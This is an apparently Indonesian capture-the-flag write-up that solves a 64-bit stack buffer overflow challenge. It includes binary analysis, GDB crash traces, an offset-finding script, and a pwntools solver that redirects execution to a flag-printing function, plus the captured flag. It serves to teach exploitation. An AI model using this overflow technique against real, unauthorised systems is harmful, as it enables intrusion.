[Cyber Jawara Quals 2017] Jawara 17 (125 Poin)
Masalah
Diberikan binary jawara17
dan layanan yang tersedia pada nc cj2k17.ctf.idsirtii.or.id 31337
.
Penyelesaian
Pengumpulan Informasi
Kami memeriksa arsitektur dan keamanan binary dengan file
dan checksec
.
$ file jawara17
jawara17: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=90adc7b1b02aa30219b660bf13583d0aa108d140, not stripped
$ checksec jawara17
[*] '/home/.../jawara17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Tidak ada canary sehingga kami bisa melakukan stack smashing pada binary.
Alur Program Kami menjalankan binary untuk melihat proses awal dan ternyata program menampilkan pesan saja tanpa ada yang lain.
./jawara17
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!
Dekompilasi
Kami melakukan dekompilasi untuk memahami alur program lebih jelas lagi. Terdapat fungsi main
yang berisi struktur awal program.
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!", 0x28uLL);
jawara(1LL, "!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!");
return 0;
}
Ada fungsi jawara
yang membaca input.
ssize_t jawara()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
Ada fungsi cyber
yang berisi Flag.
int cyber()
{
return system("cat flag.txt");
}
Identifikasi Kelemahan
Berdasarkan informasi yang telah dikumpulkan, terdapat fungsi read
yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault
. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.
find_segfault_by_input.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Luaran.
~ skipped ~
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!128
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!find_segfault_by_input.sh: line 4: 20231 Segmentation fault (core dumped) ./$1 < /tmp/delete.me
SEGMENTATION FAULT on 128 BUFFER
Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault
sebesar 128 bytes.
Eksploitasi
Buka GDB, dan periksa stack yang ada dalam binary.
# gdb -q jawara17
gdb-peda$ r < /tmp/delete.me
Luaran
r < /tmp/delete.me
Starting program: /home/.../jawara17 < /tmp/delete.me
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ('A' <repeats 128 times>, "\n\342\377\377\377\177")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
RIP: 0x40061b (<main+51>: ret)
R8 : 0x400690 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x4004c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400610 <main+40>: call 0x4005c7 <jawara>
0x400615 <main+45>: mov eax,0x0
0x40061a <main+50>: leave
=> 0x40061b <main+51>: ret
0x40061c: nop DWORD PTR [rax+0x0]
0x400620 <__libc_csu_init>: push r15
0x400622 <__libc_csu_init+2>: push r14
0x400624 <__libc_csu_init+4>: mov r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
0008| 0x7fffffffe21a --> 0xe20a414141414141
0016| 0x7fffffffe222 --> 0x61500007fffffff
0024| 0x7fffffffe22a --> 0xe328000000000040
0032| 0x7fffffffe232 --> 0x7fffffff
0040| 0x7fffffffe23a --> 0x620000000010000
0048| 0x7fffffffe242 --> 0xd830000000000040
0056| 0x7fffffffe24a --> 0x7ffff7a2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040061b in main ()
Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create
untuk mendapatan posisi register RIP.
gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me
Luaran.
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x8c
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQA")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fc ("/home/.../jawara17")
RIP: 0x41514141 ('AAQA')
R8 : 0x400690 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x4004c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41514141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fc ("/home/.../jawara17")
0008| 0x7fffffffe238 --> 0x100000000
0016| 0x7fffffffe240 --> 0x400620 (<__libc_csu_init>: push r15)
0024| 0x7fffffffe248 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffe250 --> 0x0
0040| 0x7fffffffe258 --> 0x7fffffffe328 --> 0x7fffffffe5fc ("/home/.../jawara17")
0048| 0x7fffffffe260 --> 0x100000000
0056| 0x7fffffffe268 --> 0x4005e8 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000041514141 in ?? ()
Ternyata register RIP sudah berhasil ditimpa dengan buffer AAQA
, selanjutnya mencari indeks register RIP pada buffer delete.me
.
echo `python -c 'print open("delete.me").read().rstrip().index("AAQA")'`
Luaran
136
Dengan demikian fungsi cyber
bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi cyber
dapat diketahui dengan perintah dibawah ini.
# nm jawara17 | grep cyber
00000000004005b6 T cyber
Ini dia script penyelesaian akhir.
from pwn import *
payload = 'A'*136
payload += p64(0x4005b6)
proc = process('./jawara17')
proc = remote('cj2k17.ctf.idsirtii.or.id', 31337)
proc.sendline(payload)
proc.interactive()
Luaran
$ python solver.py
[+] Starting local process './jawara17': pid 8145
[+] Opening connection to cj2k17.ctf.idsirtii.or.id on port 31337: Done
[*] Switching to interactive mode
!!SELAMAT DATANG PARA PUNGGAWA CJ 2017!!$
CJ2017{Where_Is_Uncut_Text}
[*] Got EOF while reading in interactive
Flag yang didapat adalah CJ2017{Where_Is_Uncut_Text}
.